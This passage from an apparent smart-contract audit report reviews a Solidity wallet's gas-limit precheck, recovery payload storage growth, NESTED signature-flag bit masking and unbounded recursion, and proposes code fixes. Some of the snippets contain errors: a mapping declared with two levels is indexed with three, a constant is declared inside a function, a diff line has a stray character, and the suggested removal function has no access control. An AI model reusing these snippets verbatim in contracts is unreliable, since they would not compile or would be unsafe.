if (gasLimit != 0 && gasleft() < gasLimit) {
      revert Calls.NotEnoughGas(_decoded, i, gasleft());
    }
```

Example Secnario: 1. User calculates that a call needs exactly 100,000 gas 2. Sets gasLimit = 100,000 3. Check passes: gasleft() = 100,000 >= 100,000 4. Call forwards only ~98,437 gas due to EIP-150 5. Call fails with OOG, despite seeming to have enough gas

Impact This creates user confusion and requires trial-and-error to find working gas limits. While not a critical security issue (users can work around it by adding a buffer), it degrades user experience and doesn't match the expected behavior suggested by the `NotEnoughGas` error name.

Recommended mitigation Consider one of the following approaches:

1. Adjust the precheck to account for the 63/64 rule:

```
- if (gasLimit != 0 && gasleft() < gasLimit) {
+ if (gasLimit != 0 && gasleft() < (gasLimit * 64 / 63 + 1)) {
    revert NotEnoughGas(_decoded, i, gasleft());
}
```

2. Update documentation and error messages to clarify that gasLimit is a soft limit and callers should add a buffer (e.g., 2%) to account for EIP-150 reductions.

[L-11] Recovery module lacks mechanism to remove expired or executed payloads from `queuedPayloadHashes` in `Recovery.sol`

Description The `Recovery` module maintains a mapping `queuedPayloadHashes` that stores arrays of payload hashes for each wallet-signer combination. When a payload is queued via `queuePayload()`, its hash is appended to the corresponding array. However, there is no mechanism to remove payload hashes from this array once they have been executed or have expired.

Over time, this leads to storage bloat that increases gas costs for operations querying or iterating over the array.

Code Example from `Recovery.sol`

```
mapping(address => mapping(address => uint256)) public
    timestampForQueuedPayload;

mapping(address => mapping(address => bytes32[])) public
    queuedPayloadHashes;

function queuePayload(...) external {


    if (timestampForQueuedPayload[_wallet][_signer][payloadHash] != 0) {
        revert AlreadyQueued(_wallet, _signer, payloadHash);
    }
    timestampForQueuedPayload[_wallet][_signer][payloadHash] = block.timestamp;
    queuedPayloadHashes[_wallet][_signer].push(payloadHash);
@>  // No removal mechanism for executed/expired payloads
}
```

Impact Unbounded array growth increases gas costs for users over time.

Recommended mitigation Add a function to allow removal of executed or expired recovery payloads:

```
function removeExpiredPayloads(
    address _wallet,
    address _signer,
    bytes32[] calldata _payloadHashes,
    uint256 _maxTimelock
) external {
    for (uint256 i = 0; i < _payloadHashes.length; i++) {
        uint256 queuedTime = timestampForQueuedPayload[_wallet][_signer][_payloadHashes[i]];

        // Verify payload exists and has expired based on reasonable maximum timelock
        require(
            queuedTime != 0 && block.timestamp > queuedTime + _maxTimelock,
            "Payload not expired"
        );

        delete timestampForQueuedPayload[_wallet][_signer][_payloadHashes[i]];
    }

    // Rebuild array without expired entries (or implement swap-and-pop pattern)
    bytes32[] storage hashes = queuedPayloadHashes[_wallet][_signer];
    uint256 writeIndex = 0;
    for (uint256 i = 0; i < hashes.length; i++) {
        if (timestampForQueuedPayload[_wallet][_signer][hashes[i]] != 0) {
            hashes[writeIndex] = hashes[i];
            writeIndex++;
        }
    }
    // Trim array to new length
    while (hashes.length > writeIndex) {
        hashes.pop();
    }
}
```

Note: This function should include appropriate access controls to prevent unauthorized removals.

Informational

[I-1] The NESTED flag implementation incorrectly masks bits in `recoverBranch()` of `BaseSig.sol`

Description The `NESTED` flag implementation incorrectly masks bits in `recoverBranch()`, swapping the interpretation of external *weight* and *internal threshold*. While the documentation and other flag types **(FLAG_SIGNATURE_SAPIENT, FLAG_SIGNATURE_ERC1271)** consistently use lower 2 bits for weight and upper 2 bits for size/threshold, the `NESTED` flag code reverses this order, creating a critical logic error.

Documentation pattern followed by all flags:

ERC-1271: [sizeSize][weight] - upper 2 bits = Signature size size, lower 2 bits = weight Sapient: [sizeSize][weight] - upper 2 bits = Signature size size, lower 2 bits = weight NESTED: [internalThreshold][externalWeight] - upper 2 bits = threshold, lower 2 bits = weight

Code Example from `recoverBranch()`

```
function recoverBranch(
    Payload.Decoded memory _payload,
    bytes32 _opHash,
    bytes calldata _signature
  ) internal view returns (uint256 weight, bytes32 root) {
[...]
  if (flag == FLAG_NESTED) {
          // Unused free bits:
          // - XX00 : Weight (00 = dynamic, 01 = 1, 10 = 2, 11 = 3)
          // - 00XX : Threshold (00 = dynamic, 01 = 1, 10 = 2, 11 = 3)

          // Enter a branch of the signature merkle tree
          // but with an internal threshold and an external fixed
             weight

   @>     uint256 externalWeight = uint8(firstByte & 0x0c) >> 2;
          if (externalWeight == 0) {
            (externalWeight, rindex) = _signature.readUint8(rindex);
          }

    @>     uint256 internalThreshold = uint8(firstByte & 0x03);
```

```
            if (internalThreshold == 0) {
              (internalThreshold, rindex) = _signature.readUint16(rindex)
                  ;
            }

            uint256 size;
            (size, rindex) = _signature.readUint24(rindex);
            uint256 nrindex = rindex + size;

            (uint256 internalWeight, bytes32 internalRoot) =
                recoverBranch(_payload, _opHash, _signature[rindex:nrindex
                ]);
            rindex = nrindex;

            if (internalWeight >= internalThreshold) {
              weight += externalWeight;
            }

            bytes32 node = _leafForNested(internalRoot, internalThreshold
                , externalWeight);
            root = root != bytes32(0) ? LibOptim.fkeccak256(root, node) :
                 node;
            continue;
          }
[...]
}
```

Impact 1. Confusion among security researchers regarding the correctness of bits allocation. 2. If the documentation is correct over code then this is a critical bug leading to complete breakdown of nested signature security model else this shall be considered a low severity issue. 3. Causing the rejection of valid signatures while invalid ones are accepted.

Recommended mitigation 1. Following the layout specified in the documentation while aligning with other flags, this code should be updated as

```
if (flag == FLAG_NESTED) {
-       uint256 externalWeight = uint8(firstByte & 0x0c) >> 2;
+.      uint256 externalWeight = uint8(firstByte & 0x03);
          if (externalWeight == 0) {
            (externalWeight, rindex) = _signature.readUint8(rindex);
          }

-         uint256 internalThreshold = uint8(firstByte & 0x03);
+         uint256 internalThreshold = uint8(firstByte & 0x0c) >> 2;
          if (internalThreshold == 0) {
            (internalThreshold, rindex) = _signature.readUint16(rindex)
                ;
          }
}
```

2. Update the documentation to clearly specify the bit allocation for the NESTED flag, ensuring consistency with other flag types if the current implementation is intended.

[I-2] Potential Stack Exhaustion due to recursive structure

Description The recursive structure of _recoverBranch of Recovery.sol, recoverBranch of BaseSig.sol and presents a potential risk of exhausting the stack on the Ethereum virtual machine. A limited stack size constrains the Ethereum virtual machine, and each recursive invocation consumes a specific portion of the stack space. In scenarios where the recursion depth is substantial, mainly when the recursive function utilizes a significant number of local variables, as in _recoverBranch and recoverBranch, this may surpass the Ethereum virtual machine's stack limit, resulting in transaction failure.

Code Example from Recovery.sol

```
  function _recoverBranch(
    address _wallet,
    bytes32 _payloadHash,
    bytes calldata _signature
  ) internal view returns (bool verified, bytes32 root) {
    uint256 rindex;

    while (rindex < _signature.length) {

[...]
      if (flag == FLAG_BRANCH) {
        // Read size
        uint256 size;
        (size, rindex) = _signature.readUint24(rindex);

        // Enter a branch of the signature merkle tree
        uint256 nrindex = rindex + size;
@>        (bool nverified, bytes32 nroot) = _recoverBranch(_wallet,
   _payloadHash, _signature[rindex:nrindex]);
        rindex = nrindex;

        verified = verified || nverified;
        root = LibOptim.fkeccak256(root, nroot);
        continue;
      }

      revert InvalidSignatureFlag(flag);
    }

    return (verified, root);
  }
```

Code Example from `BaseSig.sol`

```solidity
  function recoverBranch(
    Payload.Decoded memory _payload,
    bytes32 _opHash,
    bytes calldata _signature
  ) internal view returns (uint256 weight, bytes32 root) {

    [...]
      // Branch (0x04)
        if (flag == FLAG_BRANCH) {
          // Free bits layout:
          // - XXXX : Size size (0000 = 0 byte, 0001 = 1 byte, 0010 = 2 bytes, ...)

          // Read size
          uint256 sizeSize = uint8(firstByte & 0x0f);
          uint256 size;
          (size, rindex) = _signature.readUintX(rindex, sizeSize);

          // Enter a branch of the signature merkle tree
          uint256 nrindex = rindex + size;

@>        (uint256 nweight, bytes32 node) = recoverBranch(_payload, _opHash, _signature[rindex:nrindex]);
          rindex = nrindex;

          weight += nweight;
          root = LibOptim.fkeccak256(root, node);
          continue;
        }
    [...]
  }
```

It is important to note that this limit may differ among various Ethereum virtual machine implementations or network setups. Consequently, opting for loop-based structures over deep recursion offers a better solution to reduce stack usage.

Impact Unbounded recursion depth leading to a *stack too deep error* or, more critically, *gas exhaustion and block gas limit denial-of-service*.

Recommended mitigation

1. The primary and most critical fix is to *add depth checks* to the recursive functions to prevent excessive recursion. This can be achieved by introducing a new currentDepth parameter that limits how deep the recursion can go.

```solidity
function recoverBranch(
    Payload.Decoded memory _payload,
    bytes32 _opHash,
    bytes calldata _signature,
+   uint256 _currentDepth  // Add depth parameter
) internal view returns (uint256 weight, bytes32 root) {

+   // Enforce maximum depth
+   uint256 constant MAX_RECURSION_DEPTH = 64; // Choose based on expected use case
+   require(_currentDepth < MAX_RECURSION_DEPTH, "Recursion depth exceeded");

    [...]

    if (flag == FLAG_BRANCH) {
        .
        .
        .
        // Recursive call with incremented depth
        (uint256 nweight, bytes32 node) = recoverBranch(
            _payload,
            _opHash,
            _signature[rindex:nrindex],
+           _currentDepth + 1  // Increment depth
        );
        .
        .
        .
    }
    [...]
}
```

2. Alternatively, refactor the recursive functions into iterative ones using explicit stacks or queues to manage state, thereby eliminating recursion altogether. This approach is more complex but effectively mitigates stack exhaustion risks.